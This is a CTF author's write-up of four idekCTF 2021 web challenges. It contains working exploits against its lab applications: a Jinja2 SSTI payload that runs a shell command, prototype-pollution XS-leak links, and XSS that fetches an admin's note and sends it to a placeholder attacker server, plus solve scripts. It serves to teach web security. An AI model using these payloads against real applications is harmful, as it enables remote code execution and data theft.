idekCTF 2021 - Author Web Writeups

December 13, 2021

I created 5 web challenges for idekCTF 2021 with the intention of exposing players to interesting concepts/techniques that they may not be aware of. I think I accomplished this goal as feedback was pretty well received.

All challenges are publicly available on my github.

Overall, I think our event was a huge success and I’m super excited to continue hosting in the years to come!


difference checker

This was the easiest of my challenges and was based around bypassing an ssrf filter. The filter will abort any request that makes its way to localhost. The vulnerability was not in this module, but in the application logic.

The app is very straightforward. It will take two links, validates that the links do not point to localhost, and then returns a diff of the two pages.

index

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const ssrfFilter = require('ssrf-req-filter');
const fetch = require('node-fetch');
const Diff = require('diff');
const hbs = require('express-handlebars');
const port = 1337;
const flag = 'idek{REDACTED}';


app.use(bodyParser.urlencoded({ extended: true }));
app.engine('hbs', hbs.engine({
    defaultLayout: 'main',
    extname: '.hbs'
}));

app.set('view engine', 'hbs');


async function validifyURL(url){
        valid = await fetch(url, {agent: ssrfFilter(url)})
        .then((response) => {
                return true
        })
        .catch(error => {
                return false
        });
        return valid;
};

async function diffURLs(urls){
        try{
                const pageOne = await fetch(urls[0]).then((r => {return r.text()}));
                const pageTwo = await fetch(urls[1]).then((r => {return r.text()}));
                return Diff.diffLines(pageOne, pageTwo)
        } catch {
                return 'error!'
        }
};

app.get('/', (req, res) => {
        res.render('index');
});

app.get('/flag', (req, res) => {
        if(req.connection.remoteAddress == '::1'){
                res.send(flag)}
        else{
                res.send("Forbidden", 503)}
});

app.post('/diff', async (req, res) => {
        let { url1, url2 } = req.body
        if(typeof url1 !== 'string' || typeof url2 !== 'string'){
                return res.send({error: 'Invalid format received'})
        };
        let urls = [url1, url2];
        for(url of urls){
                const valid = await validifyURL(url);
                if(!valid){
                        return res.send({error: `Request to ${url} was denied`});
                };
        };
        const difference = await diffURLs(urls);
        res.render('diff', {
                lines: difference
        });

});

app.listen(port, () => {
        console.log(`App listening at http://localhost:${port}`)
});

It’s immediately obvious that the goal is accessing /flag. But how can this be done with the ssrf filter?

The issue with the application is that validifyURL and diffURLs each make their own requests to the given links. This is an issue because there is no guarantee that the same link provides the same response to both functions.

The solution here is hosting a server which alternates between providing an innocent response, and a redirect to http://localhost:1337/flag.

My exploit is as follows:

from flask import Flask, redirect
from threading import Thread
import requests

local_url = "<the_url_of_this_server>"
app = Flask(__name__)
reqCounter = 0

@app.route('/')
def exploit():
    global reqCounter
    if reqCounter == 0:
        reqCounter += 1
        return 'hey'
    else:
        reqCounter -= 1
        return redirect('http://localhost:1337/flag')

def start_server():
    app.run('0.0.0.0', 4444)

def send_payload():
    url = "http://localhost:1337/diff"
    payload = {"url1": local_url, "url2": "http://google.com"}
    r = requests.post(url, data=payload)
    print(r.text)

if __name__ == '__main__':
    Thread(target=start_server).start()
    #Thread(target=send_payload).start()

Upon hosting the server and inputting the url, we see the flag in the diff response: diff flag


jinjail

As the name implies, this challenge involved jinja2 SSTI with a relatively restrictive filter.

from flask import Flask, render_template_string, request

app = Flask(__name__)
blacklist = [ 
    'request',
    'config',
    'self',
    'class',
    'flag',
    '0',
    '1',
    '2',
    '3',
    '4',
    '5',
    '6',
    '7',
    '8',
    '9',
    '"',
    '\'',
    '.',
    '\\',
    '`',
    '%',
    '#',
    ]

error_page = '''
        {% extends "layout.html" %}
        {% block body %}
        <center>
           <section class="section">
              <div class="container">
                 <h1 class="title">Error :(</h1>
                 <p>Your request was blocked. Please try again!</p>
              </div>
           </section>
        </center>
        {% endblock %}
        '''


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        if not request.form['q']:
            return render_template_string(error_page)

        if len(request.form) > 1:
            return render_template_string(error_page)

        query = request.form['q'].lower()
        if '{' in query and any([bad in query for bad in blacklist]):
            return render_template_string(error_page)

        if len(query) > 256:
            return render_template_string(error_page)

        page = \
            '''
        {{% extends "layout.html" %}}
        {{% block body %}}
        <center>
           <section class="section">
              <div class="container">
                 <h1 class="title">You have entered the raffle!</h1>
                 <ul class=flashes>
                    <label>Hey {}! We have received your entry! Good luck!</label>
                 </ul>
                 </br>
              </div>
           </section>
        </center>
        {{% endblock %}}
        '''.format(query)

    elif request.method == 'GET':
        page = \
            '''
        {% extends "layout.html" %}
        {% block body %}
        <center>
            <section class="section">
              <div class="container">
                 <h1 class="title">Welcome to the idekCTF raffle!</h1>
                 <p>Enter your name below for a chance to win!</p>
                 <form action='/' method='POST' align='center'>
                    <p><input name='q' style='text-align: center;' type='text' placeholder='your name' /></p>
                    <p><input value='Submit' style='text-align: center;' type='submit' /></p>
                 </form>
              </div>
           </section>
        </center>
        {% endblock %}
        '''
    return render_template_string(page)


app.run('0.0.0.0', 1337)

There are two things to note from the source: the blacklisted characters, and the length limit.

A standard payload for exploiting jinja2 SSTI for RCE is lipsum.__globals__.os.popen('cat flag').read(). This payload is blocked as it contains both . and '. An alternative to using . to access attributes is using [], as in lipsum["__globals__"], but how can we create a __globals__ string without quotation marks or access to request, self, or config?

Jinja2 has many useful filters and functions which can be used to modify data. The most useful for our purposes are the dict function, and list filter.

Why are these useful? For the ability to create strings out of thin air. We can create a dict without using any strings: {{dict(foo=bar)}}. Then, we can convert the dict to a list: {{dict(foo=bar)|list}}.

list

We now have an array of the string foo. Next, we just need to access the first element of the array, and we have successfully created a string! How can we do this without access to [0-9]? In python, False == 0, and True == 1, so our final payload for creating a string is {{(dict(foo=bar)|list)[False]}}. Also to note, a similar (and shorter) method of accessing the first element is using the |last or |first filters: {{dict(foo=bar)|list|last}}.

With this knowledge, we can begin crafting an equivalent payload to {{lipsum.__globals__.os.popen('cat flag').read().

However, there is one more hurdle: if we can’t to execute the command cat flag, we will need a space in our string. How can we get a space in our string if we’re unable to create a dictionary key with a space? More filters! One useful filter is |center. If we |center a string, it will add spaces around it. To create the string cat flag, we can use the following payload : {{[(dict(cat=x)|list)[False]|center,(dict(galf=x)|list)[False]|reverse]|join}} (which also uses |reverse to bypass the flag blacklist).

jinjail rce string

Putting it all together, we reach the following payload:

{{lipsum[(dict(__globals__=x)|list)[False]][(dict(os=x)|list)[False]][(dict(popen=x)|list)[False]]([(dict(cat=x)|list)[False]|center,(dict(galf=x)|list)[False]|reverse]|join)[(dict(daer=x)|list)[False]|reverse]()}}

Upon submission, we see the flag:

jinjail flag


fancy notes

This challenge involved client-side prototype pollution + http parameter pollution to achieve XS leaks.

The website is your typical note storing application. The main detail to note is /report, which can be used to send a link to an admin bot to view, meaning the challenge will involve some sort of client side vulnerability. The flag is stored in the admin’s note (as shown by reading the source code). The player can conclude that the goal is leaking the contents of the admin’s note.

After registering and uploading a note, it can be stylized at /fancy.

/fancy

Entering a note’s name or content will display the note with some fancy styling. Note how the query is passed via GET parameter, and the note can be searched via the content itself rather than just the title. These factors should strongly indicate XS leaks. So, we can make an admin access their note by sending a link with parts of the flag as the get parameter, but how can we determine whether or not the page displays the note?

a fancy note

The stylization of the note is handled by client-side javascript:

function fancify(note) {
	color = (args.style || Math.floor(Math.random() * 6)).toString();
	image = this.image || '/static/images/success.png';
	styleElement = note.children[2];
	styleElement.innerHTML = style;
	note.className = `animation${color}`;
	img = new Image();
	img.src = image
	note.append(img);
}

args = Arg.parse(location.search);
noteElement = document.getElementById('note');

if(noteElement){
	fancify(noteElement);
}

The GET parameters are parsed with Arg.parse(location.search). What is Arg? Arg.js is a javascript library for parsing arguments. This library is vulnerable to prototype pollution.

Furthermore, we see that fancify(note) sets the image src to /static/images/success.png if this.image does not exist. Using prototype pollution, we can set this.image to anything we want! If we craft a link which will pollute this.image to point to our attacker controlled server, and supply a query of idek{a and send it to the bot, we can detect if the flag contains idek{a!

We can repeat this process for each character until we leak the entire flag.

However, the challenge is not over here. If we attempt to supply the link: http://localhost:1337/fancy?q=idek{t&style=1&__proto__[image]=http://<attacker-server>, we receive an error message from the server.

param error

If we check the source code, we see that the server only expects the value of parameters which are not q to be 1 character long.

@app.route('/fancy')
def fancify():
    if not session:
        return redirect('/login')
    if 'q' in request.args:
        def filter(obj):
            return any([len(v) > 1 and k != 'q' for k, v in request.args.items()])
        if not filter(request.args):
            results = find_note(request.args['q'], session['id'])
            if results:
                message = 'here is your 𝒻𝒶𝓃𝒸𝓎 note!'
            else:
                message = 'no notes found!'
            return render_template('fancy.html', note=results, message=message)
        return render_template('fancy.html', message='bad format! Your style params should not be so long!')
    return render_template('fancy.html')

The snipper which controls this is here:

return any([len(v) > 1 and k != 'q' for k, v in request.args.items()])

In short, if we have a key which is not q, the length of its value must not be greater than 1. If a value is greater than 1, the check will not be passed and we will instead receive the message informing us.

However, our useage of Arg.js is not over yet! As the __proto__[image] parameter only needs to be accessed on the client side by Arg.js, what if we craft a url that flask believes is valid, which still allows for any length of value on the client side? As we are parsing the parameters both server-side and client-side, there may be some differences between the two parsers.

In flask, if a duplicate parameter is encountered, the first appearance is used. In Arg.js, the last is used. With this in mind, http://localhost:1337/fancy?q=idek{t&style=1&__proto__[image]=x&__proto__[image]=http://<attacker-server> will accomplish our goal. Flask thinks __proto__[image] is x, while Arg.js thinks it is the link to our server.

parameter pollution achieved

Finally, we are able to craft an exploit which will leak the admin’s flag to our server.

const chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'
let flag = 'idek{'

const checkFlag = (flag) => {
  let url = `http://localhost:1337/fancify?q=${flag}&style=1&__proto__[image]=x&__proto__[image]=http://<attacker-server>/${flag}`;
    window.open(url)
}

for (let c of chars){
  checkFlag(flag + c)
}

We can send the admin a link to our exploit and iterate the flag variable for each character we leak until we have the full flag.


generic pastebin challenge

This was an xss challenge with a few solutions. My intended solution involved using an unclosed srcdoc attribute on an iframe to bypass the the filter.

As implied by the title, the application is a simple pastebin, where we can store notes and access later with the link. User’s can only access their own notes, with the exception of the admin, who can view all notes. Reading the source, we can confirm that the flag is stored in the admin’s note, which is located at /flag.

The title and content of our pastes are properly sanitized.

sanitized paste

In the jinja2 layout which is used for every page, we can see that the flashes are passed with the |safe filter, which will now sanitize any HTML passed to it.

<body>
        <div id="content">
        <center>
{% for message in get_flashed_messages() %}
<ul class="flashes">
                        <label>{{message|safe}}</label></ul></br>
        </center>
{% endfor %}
{% block body %}
{% endblock %}
        </div>
<footer class='footer'>
        <div class='content has-text-centered'>
                Made with "love" by downgrade
        </div>
</footer>
</body>

The code responsible for adding flashed messages to a page is here. In short, the error param is inserted into the page, but only if it passes the filter. The value of error must not contain any event handlers, and also cannot contain script, svg, object, img, /, :, or >.

@app.before_request
def add_flashes():
    if 'error' in request.args.keys():
        msg = request.args['error'].lower()

        # no event handlers
        if all(bad_string in msg for bad_string in ['on', '=']):
            return
        # none of this shit
        if any(bad_string in msg for bad_string in ['script', 'svg', 'object', 'img', '/', ':', '>']):
            return

        flash(msg)

How can we achieve xss without any of these strings? Because we can specify an error message on the page of our notes, we can combine the our input sources for xss by utilizing an unclosed iframe srcdoc.

iframe with arbitrary HTML

This works because the srcdoc attribute does not close until another " character is encountered on the page, which isn’t until after our paste content. Although our paste content is sanitized, it is still parsed as raw HTML when inside a srcdoc attribute. Therefore, in combining our input sources, we can create an iframe with any HTML to bypass the filter.

We can create a paste with content <script>alert(document.domain)</script>. When the paste is accessed with ?error=iframe%20srcdoc=", our javascript is executed.

alert

Then, we use our XSS to exfiltrate the admin’s note to our server.

<script>
	fetch("/pastes/flag").then(r=>r.text().then(t=>document.location=`http://<attacker-server>/extract?data=${{encodeURIComponent(btoa(t))}}`))
</script>

Here is a full solve script which was used as a healthcheck during the challenge:

#!/usr/bin/env python3

import requests
import random
import string
import base64
import urllib.parse
from pwn import *

username = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(64))
password = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(64))
l = listen()
vuln_url = "http://localhost:1337"
local_url = f"http://localhost:{l.lport}"
session = requests.session()
r = requests.get(vuln_url)

exploit_html = """\
        <script>
            fetch("/pastes/flag").then(r=>r.text().then(t=>document.location=`{}/extract?data=${{encodeURIComponent(btoa(t))}}`))
        </script>
        """.format(local_url)

exploit_post = {
        "title": "exploit",
        "content": exploit_html
        }

dangling_markup = '?error=<iframe srcdoc="'

# register & login
user_data = {"username": "downgrade", "password": password}
session.post(vuln_url + "/register", data=user_data)
session.post(vuln_url + "/login", data=user_data)

# upload exploit
r = session.post(vuln_url + "/create", data=exploit_post, allow_redirects=False)
exploit_location = r.headers['Location']

# report to admin
session.post(vuln_url + "/report", data={"url": exploit_location + dangling_markup})

_ = l.wait_for_connection()
data_raw = l.readuntil('HTTP/1.1')
data = base64.b64decode(urllib.parse.unquote(data_raw.decode().split('data=')[1].split()[0])) # lol

if b'idek{' in data:
    exit(0)
exit(1)

steghide as a service

i don’t have time to write a full writeup at the moment, but I highly recommend reading Neptunian’s writeup, here. It is incredibly well written, as are all of their writeups.